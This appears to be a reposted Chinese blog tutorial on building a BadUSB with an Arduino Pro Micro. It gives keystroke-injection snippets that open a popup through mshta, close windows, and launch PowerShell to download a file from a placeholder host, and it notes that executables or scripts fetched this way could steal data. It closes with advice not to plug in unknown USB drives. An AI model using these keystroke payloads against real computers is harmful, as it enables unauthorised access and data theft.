简易BadUSB,攻击效果不简单

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了简易BadUSB,攻击效果不简单相关的知识,希望对你有一定的参考价值。

技术分享图片

不久前,有小伙伴在实验室捡到一个U盘,想看看是谁的就插在了自己的电脑上,结果出现了安全软件的报毒通知……

也是因为这件事有了制作一个BadUSB的想法,可以在不被杀毒软件发现的情况下进行一些操作。

一、前期准备

Arduino:

这里使用的是BS Micro pro micro leonardo Arduino开发板。

技术分享图片

Arduino IDE:

技术分享图片

二、原理

BadUSB插入后会模拟键盘、鼠标对电脑进行操作,通过这些操作可以打开CMD或者Powershell并输入命令,通过这些命令可以进行简单操作或者更深一步从服务器下载文件执行。通过下载的.exe及.ps1等文件可以实现信息窃取、发送邮件等,从而达到控制目标机或者窃取信息等目的。

 

三、过程

(1)实现弹窗

关键代码:

Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.print("mshta vbscript:msgbox(\"lalala\",64,\"lalalatitle\")(window.close)");
Keyboard.press(KEY_RETURN);

 

(2)关闭所有窗口

关键代码:

Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.press(KEY_RETURN);

正常情况下是Alt+F4循环使用的效果是关闭所有窗口,但很大概率会出现自动关机的状况……

关机.mp4

 

(3)从服务器端下载文件

关键代码:

Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_ESC);
Keyboard.releaseAll();
Keyboard.print("powershell");
Keyboard.press(KEY_RETURN);
Keyboard.print("(new-object System.Net.WebClient).DownloadFile('http://www.example.com/example.html','d:lalala.html')");

这里只是下载了一个命名为lalala.html的文件,如果下载一个可执行文件或者Powershell脚本可以做到更多的事!


因为BadUSB模仿的是键盘、鼠标操作,所以常规的安全软件、杀毒软件不能起作用,当然防范起来也很简单:只要不让不受你信任的USB插入你心爱的电脑就不存在安全问题。但是好奇心驱使下还是有很多人会将“捡到”的U盘插入自己的电脑看看是谁的U盘、里面有什么文件。看到这篇文章之后要对来路不明的USB设备多一点防备了。


以上是关于简易BadUSB,攻击效果不简单的主要内容,如果未能解决你的问题,请参考以下文章

BadUSB攻击

BadUSB防御转载

基于ArduinoLeonardo板子的BadUSB攻击实战

利用WHID为隔离主机建立隐秘通道

badusb-digispark-ATTINY85

如何配置Nginx防御CC攻击